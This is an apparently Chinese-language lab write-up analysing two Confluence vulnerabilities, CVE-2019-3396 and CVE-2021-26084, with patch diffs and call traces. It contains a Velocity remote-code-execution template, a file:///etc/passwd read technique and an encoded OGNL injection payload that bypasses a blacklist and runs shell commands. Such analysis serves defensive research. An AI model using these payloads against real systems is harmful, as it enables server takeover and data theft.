CVE-2019-3396
https://jira.atlassian.com/browse/CONFSERVER-57974
影响版本为:
-
version < 6.6.12
-
6.7.0 <= version < 6.12.3
-
6.13.0 <= version < 6.13.3
-
6.14.0 <= version < 6.14.2
修复版本:6.6.12, 6.13.3, 6.14.2, 6.15.1, 6.12.3, 6.10.3
这里环境搭建用了vulhub的环境,版本为Confluence Server 6.10.2
Widget Connector是Confluence的一个插件,对比一下修复前后的插件
左Confluence 6.13.0右6.13.3
widgetconnector-3.1.0.jar!\com\atlassian\confluence\extra\widgetconnector\WidgetMacro.class
可以看见补丁在这里加了一个过滤函数,函数内容为遍历sanitizeFields并从paramters中删除对应字段,这里只有一个_template,那么补丁就是删除了parameters中的_template字段
然后应该去看文档,寻找用了Widget Connector的操作
https://support.atlassian.com/confluence-cloud/docs/insert-the-widget-connector-macro/
抓包得到post数据
{"contentId":"98368","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=k6lK5hlB1nQ","width":"100","height":"100"},"body":""}}
url不为空则进入this.renderManager.getEmbeddedHtml(url, parameters)
DefaultRenderManager#getEmbeddedHtml
这里的会根据输入的url,遍历这几个WidgetRenderer匹配url,匹配到就进入对应WidgetRenderer的getEmbeddedHtml方法
如这里YoutubeRenderer,匹配成功
然后进入YoutubeRenderer#getEmbeddedHtml
之所以会输入youtube的url是因为YoutubeRenderer的参数设置函数中的_template可控
继续往下
loadResource:322, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)
getResource:297, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)
getTemplate:1399, RuntimeInstance (org.apache.velocity.runtime)
getTemplate:422, VelocityEngine (org.apache.velocity.app)
getTemplate:89, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:75, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
直到ConfigurableResourceManager#loadResource
这里会循环this.resourceLoaders来加载资源,分别为
com.atlassian.confluence.setup.velocity.HibernateResourceLoader ORM资源加载器
org.apache.velocity.runtime.resource.loader.FileResourceLoader 文件读取
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader 文件加载
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader 动态插件资源加载器
所以看FileResourceLoader和ClasspathResourceLoader的getResourceStream方法就行了
FileResourceLoader#getResourceStream
这里有过滤函数
循环判断是否以/../开头
所以FileResourceLoader#getResourceStream不能跨目录读文件,只能读安装路径下的文件
看另外一个加载器ClasspathResourceLoader#getResourceStream
这次将_template改为file:///etc/passwd
ClassUtils#getResourceAsStream
前几个ClassLoader都无法加载,最终需要调用ParallelWebappClassLoader的getResourceAsStream
最终会调用到WebappClassLoaderBase#getResourceAsStream
617行在获取resource时,路径会被拼接为/WEB-INF/classes/file:/etc/passwd
,找不到该resource那么stream=null,进入 625行,这里调用了父类的findResource,也就是URLClassLoader来返回一个url资源,这里支持file https ftp等协议,627行返回URL资源不为空则获取内容
最终将数据封装入Template一路返回渲染vm模板
所以这里可以控制vm模板中的内容造成模板注入
rce.vm
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
这里用ftp协议,python -m pyftpdlib -p 8888
CVE-2021-26084
https://jira.atlassian.com/browse/CONFSERVER-67940
影响版本:
- version < 6.13.23
- 6.14.0 ≤ version < 7.4.11
- 7.5.0 ≤ version < 7.11.5
- 7.12.0 ≤ version < 7.12.5
补丁应该是把queryString的ognl取值去掉了
因为这里是ognl表达式注入,所以可以把断点打到
OgnlValueStack#findValue
调用栈大致可以分为
在getValue前一步有安全检查
webwork-2.1.5-atlassian-3.jar!\com\opensymphony\webwork\util\OgnlValueFinder.class
32行这里会对表达式进行编译(解析unicode)然后放入containsUnsafeExpression检查
具体内容黑名单如下
- 第一个hashset限制了静态方法、字段、构造方法
- 第二个和第三个hashset限制了获取classloader,如:xxx.class或者xxx.getClass()
- 第四个hashset限制了编译后的结果中不能出现特定的变量
可以用反射绕过,然后就是ognl注入了,由于要逃逸expr的单引号,而直接传单引号会被html实体编码,所以可以利用OgnlUtil.compile解析unicode绕
payload
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu002
https://www.anquanke.com/post/id/253398#h2-2
https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2021-26084/README.zh-cn.md